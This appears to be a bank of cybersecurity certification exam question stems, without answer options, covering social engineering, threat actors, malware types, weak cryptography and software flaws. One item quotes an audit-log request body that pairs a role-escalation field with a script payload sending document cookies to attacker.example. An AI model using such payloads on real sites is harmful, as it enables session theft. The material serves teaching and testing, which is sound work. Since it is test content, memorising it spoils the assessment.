Threats, Vulnerabilities, and Mitigations

A cybersecurity analyst at a software development firm is investigating an incident where unauthorized code was introduced into a production build pipeline. The incident response log indicates two distinct actions taken by the threat actor: first, developers received bogus IT support tickets directing them to re-authenticate at an external single-sign-on domain (`login-company-auth.com`) that mimicked the company's internal portal; second, the attacker uploaded malicious software libraries to a public package repository using names with subtle typographical variations of legitimate internal dependencies (e.g., `core-utils-lib` vs. `core-utiis-lib`). Which of the following social engineering attack techniques were directly executed in this scenario? (Select TWO.)

An enterprise security operations center is reviewing four complex, multi-stage security incidents involving targeted human manipulation. Match each social engineering tactical delivery technique on the left to the corresponding operational scenario indicator on the right.

An IT administrator discovers that network administrators are remotely connecting to core switches over an unencrypted Telnet connection on TCP port 23, exposing administrative credentials to internal network sniffing. Which of the following is the BEST solution to mitigate this host and network vulnerability?

A critical infrastructure energy provider discovers an undetected intruder within its operational technology (OT) network. Investigation reveals the threat group utilized undisclosed zero-day exploits targeting proprietary industrial controllers, maintained covert persistence for over two years without executing ransomware or financial extortion, and possessed multi-disciplinary capability across hardware and software engineering. Which TWO of the following threat actor attributes and classifications best describe this threat group?

An enterprise security analyst is designing a vulnerability assessment program for critical hybrid-cloud server infrastructure. The organization mandates that the assessment methods must identify missing host-level OS security patches and detect cleartext sensitive data transfers without sending disruptive synthetic network probes across production subnets. Which TWO of the following vulnerability assessment and testing techniques should the analyst implement? (Select TWO.)

A software security analyst is reviewing a web application's API logs and controller implementation following a reported security incident. The backend service processes JSON payloads for user profile updates. An audit log captured the following HTTP POST request body submitted by an authenticated non-administrative user:

{
"account_id": "8492",
"email": "[email protected]",
"role": "administrator",
"bio": "<script>fetch('http://attacker.example/collect?c='+document.cookie)</script>"
}

Upon processing this request, the backend database successfully updated the user's account role to 'administrator' and subsequently rendered the script payload when other users viewed the updated profile page.

Which of the following software vulnerabilities were successfully exploited in this incident? (Select TWO.)

A political organization's public website was recently defaced with messages promoting a specific social cause. Investigators determined that the attackers utilized low-sophistication web tools and were primarily driven by ideological motives rather than financial profit or state-sponsored espionage. Which of the following threat actor types best describes the perpetrators of this attack?

A security analyst inspects system configurations and network routing logs for a mission-critical database host following an internal security audit:

[SYS_AUDIT] Host: db-prod-01.internal (IP: 192.168.10.45)
[WARN] Service 'legacy-telemetry-daemon' active on 0.0.0.0:9090
[INFO] Configuration file /etc/telemetry.conf sets AUTH_REQUIRED=FALSE
[WARN] API endpoint provides unencrypted remote memory telemetry dumps via HTTP GET /sys/memdump
[WARN] Host routing table permits unrestricted cross-VLAN traffic from Staging-VLAN (10.20.0.0/16)

Based on the log output and audit findings, which of the following vulnerabilities or architecture deficiencies are directly present in this environment? (Select TWO.)

A security technician is categorizing host and network vulnerabilities discovered during an enterprise infrastructure audit. Match each vulnerability descriptor on the left with its primary architectural risk on the right.

Match each malware type on the left with its corresponding technical indicator of compromise (IoC) on the right.

Match each threat actor type on the left with its defining capability, access level, or primary motivation on the right.

During a threat hunting exercise on an enterprise web server running Linux, a SOC analyst examines suspicious host telemetry following an alert. The investigation reveals that an external exploit against an HTTP service injected shellcode directly into the heap space of the running `httpd` process. The injected code allocated executable memory regions using `mprotect()` and dynamically resolved socket functions to establish an outbound reverse shell without ever writing any executable files, scripts, or persistent artifacts to the physical disk. Which of the following malware classifications best describes the malicious activity detected on this server?

An enterprise security auditor discovers several vulnerabilities across an organization's internal infrastructure during a comprehensive technical posture assessment. Match each identified host and network vulnerability indicator on the left to its corresponding primary security risk on the right. Which of the following correctly pairs each vulnerability indicator with its primary security risk?

Match each cryptographic or security control weakness on the left with its corresponding technical description on the right.

An energy utility enterprise recently deployed 50,000 smart grid sensors that transmit operational telemetry data to a central management server over encrypted TLS connections. During an independent security audit, analysts discover that while TLS 1.2 is enforced, the server accepts finite-field Diffie-Hellman key exchanges configured with legacy 512-bit prime parameters. Which cryptographic vulnerability does this configuration represent, and what risk does it present to the enterprise?

A security analyst is auditing a C-based backend service responsible for processing batch user updates. Code analysis reveals that the buffer allocation calculation `total_bytes = user_count * sizeof(user_record_t)` uses an unsigned 32-bit integer. When a caller supplies a very large `user_count`, the multiplication arithmetic wraps around, resulting in a small memory allocation from `malloc()`. The application then attempts to copy all incoming user records into this undersized buffer, causing arbitrary memory corruption. Which of the following software vulnerabilities is demonstrated in this scenario?

A security analyst conducts an internal vulnerability assessment on a Linux server host processing enterprise telemetry. During host inspection, the analyst extracts the following active socket states and service configuration snippet:

# netstat -tuln | grep 9099
tcp 0 0 0.0.0.0:9099 0.0.0.0:* LISTEN
# cat /etc/telemetry/agent.conf
[server]
bind_address = "0.0.0.0"
port = 9099
auth_enabled = false

The infrastructure team notes that access control was omitted locally because the host operates behind an enterprise boundary firewall filtering external traffic. However, all internal subnets can reach port 9099 without authentication. Which of the following vulnerabilities is demonstrated by this implementation?

An organization's incident response team is dissecting a multi-channel cyber attack targeting a senior system administrator. The adversary first conducted open-source intelligence (OSINT) gathering on public code repositories to obtain personal details and active project names. Next, the attacker placed a direct voice call to the administrator's personal mobile phone impersonating an IT service desk director, claiming that emergency maintenance was required immediately to prevent critical domain service disruption. During the call, the administrator was instructed to follow a link sent via a cellular text message to enter their administrative single sign-on (SSO) credentials into a fake authentication portal. Which combination of social engineering attack vectors and primary principles of influence were executed by the adversary in this incident?

Match each threat actor category with its primary motivation and characteristic attack vector in an enterprise environment.

Match each malware classification on the left with its corresponding technical indicator of compromise (IoC) or telemetry profile on the right.